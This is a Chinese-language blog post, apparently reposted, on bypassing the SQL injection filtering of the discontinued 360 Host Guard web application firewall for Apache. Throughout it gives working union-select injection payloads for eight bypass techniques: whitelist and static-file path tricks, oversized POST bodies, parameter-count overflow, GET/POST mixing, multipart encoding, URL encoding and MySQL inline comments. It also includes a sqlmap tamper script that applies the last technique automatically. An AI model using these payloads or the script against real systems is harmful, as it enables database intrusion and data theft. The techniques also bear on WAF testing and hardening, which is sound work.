Bypass 360主機衛士SQL注入防御(多姿勢)


0x00 前言

在服務器客戶端領域,曾經出現過一款360主機衛士,目前已停止更新和維護,官網都打不開了,但服務器中依然經常可以看到它的身影。從半年前的測試虛擬機里面,翻出了360主機衛士Apache版的安裝包,就當做是一個紀念版吧。這邊主要分享一下幾種思路,Bypass 360主機衛士SQL注入防御。

0x01 環境搭建

360主機衛士官網:http://zhuji.360.cn軟件版本:360主機衛士Apache 紀念版測試環境:phpStudy

本地構造SQL注入點:

$id=_REQUEST['id'];
query = "SELECT * FROM admin WHERE id = $id ";

0x02 WAF測試

因zhuji.360.cn站點已關閉,攔截界面為空白,抓包先放一張攔截圖:

姿勢一:網站后台白名單

在360主機衛士客戶端設置中存在默認網站后台白名單,如圖:

利用PHP中的PATH_INFO問題,隨便挑選一個白名單加在后面,可成功bypass。

/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

姿勢二:靜態資源

當文件后綴名為js、jpg、png等靜態資源后綴請求,類似白名單機制,waf為了檢測效率,直接略過這樣一些靜態資源文件名后綴的請求。

/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

姿勢三:緩沖區溢出

當Post大包時,WAF在處理測試向量時超出了其緩沖區長度,超過檢測內容長度將會直接Bypass,如果正常用戶上傳一些比較大的文件,WAF每個都檢測的話,性能就會被耗光。

基於這些考慮,POST 大包溢出的思路可成功Bypass。

/test.php

POST:

id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA

姿勢四:uri參數溢出

這種溢出的形式,我稱它為uri參數溢出。比如某WAF,默認情況下只能獲取前100個參數進行檢測,當提交第101個參數時,那么,將無法對攻擊者提交的第100個以后的參數進行有效安全檢測,從而繞過安全防御。

經測試,當提交的參數個數超過97個,可進行union select 查詢,再增加對關鍵字from的繞過,可成功Bypass。

http://192.168.204.128/test.php

POST:id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/!from/information_schema.SCHEMATA

姿勢五:GET+POST

一個歷史久遠的邏輯問題了,當同時提交GET、POST請求時,進入POST邏輯,而忽略了GET請求的有害參數輸入,可輕易Bypass。

/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

POST:aaa

姿勢六:multipart/form-data格式

將Post、Get數據包轉為上傳multipart/form-data格式數據包,利用協議解析的差異,從而繞過SQL防御。

------WebKitFormBoundaryACZoaLJJzUwc4hYMContent-Disposition: form-data; name="id"

1 union /* !select*/ 1,2,schema_name【這里使用Enter換行】from information_schema.SCHEMATA------WebKitFormBoundaryACZoaLJJzUwc4hYM--

如果轉換數據包進行繞過呢?

首先,新建一個html頁面:

<html>
<head></head>
<body>
<form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data">
<input type="text" name="id">
<input type="submit">
</form>
</body>
</html>

然后,在瀏覽器打開並在輸入框中輸入參數,抓包發送到Repeater,進一步構造Payload獲取數據。

姿勢七:編碼繞過

客戶端對Payload進行編碼,服務端能夠自動進行解碼,這時候就考驗WAF的編碼解碼能力了,如果WAF不能進行有效解碼還原攻擊向量,可能導致繞過,常見編碼如URL編碼、unicode編碼(IIS)、寬字節編碼等。這個地方雖然URL編碼也能繞過獲取數據,主要是因為WAF對POST的防御規則太過於松散,union select 隨便繞,select from 用%0a就可以解決,主要分享一下編碼繞過的思路。

/test.php?id=1POST:id=1 %55nion %53elect/* !1,2,schema_name %0aFROM information_schema.SCHEMATA* /

姿勢八:%0a+內聯注釋

利用Mysql數據庫的一些特性,繞過WAF的防御規則,最終在數據庫中成功執行了SQL,獲取數據。

http://192.168.204.128/test.php

POST:

id=1 union%0a/* !12345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA

0x03 自動化Bypass

​ 當測試出繞過WAF SQL注入防御的技巧后,可通過編寫tamper腳本實現自動化注入,以姿勢八:%0a+內聯注釋為例,主要是針對union select from等關鍵字替換,Payload中的部分關鍵字可能會被waf攔截,需要一步步調試,測試,總結規律。

tamper腳本:

#!/usr/bin/env python

"""
write by Bypass
"""
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
    pass
def tamper(payload, **kwargs):
    """
    Replaces keywords
    >>> tamper('UNION SELECT id FROM users')
    'union%0a/*!12345select*/id%0a/*!12345from*/users'
    """
    if payload:
        payload=payload.replace(" ALL SELECT ","%0a/*!12345select*/")
        payload=payload.replace("UNION SELECT","union%0a/*!12345select*/")
        payload=payload.replace(" FROM ","%0a/*!12345from*/")
        payload=payload.replace("CONCAT","CONCAT%23%0a")
        payload=payload.replace("CASE ","CASE%23%0a")
        payload=payload.replace("CAST(","/*!12345CASt(*/")
        payload=payload.replace("DATABASE()","database%0a()")
                
    return payload

加載tamper腳本,可成功獲取數據

這邊也分享一下,另一個比較簡單的自動化注入的方法,就是使用超級SQL注入工具,利用這邊提供的注入繞過模塊,結合日志中心的測試記錄,可以很方便的進行調試,然后保存繞過模板,方便下次調用。

利用前面的關鍵字符進行替換,自動化注入獲取數據庫數據:

0x04 END

​ 分享了幾種有意思的繞過思路,主要利用了WAF層的邏輯問題,數據庫層的一些特性,服務器層編碼解析、參數獲取的差異。其中借鑒和學習了不少前輩們的思路,受益匪淺,學習,沉淀,總結,分享,周而復始。

最后

歡迎關注個人微信公眾號:Bypass--,每周原創一篇技術干貨。 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM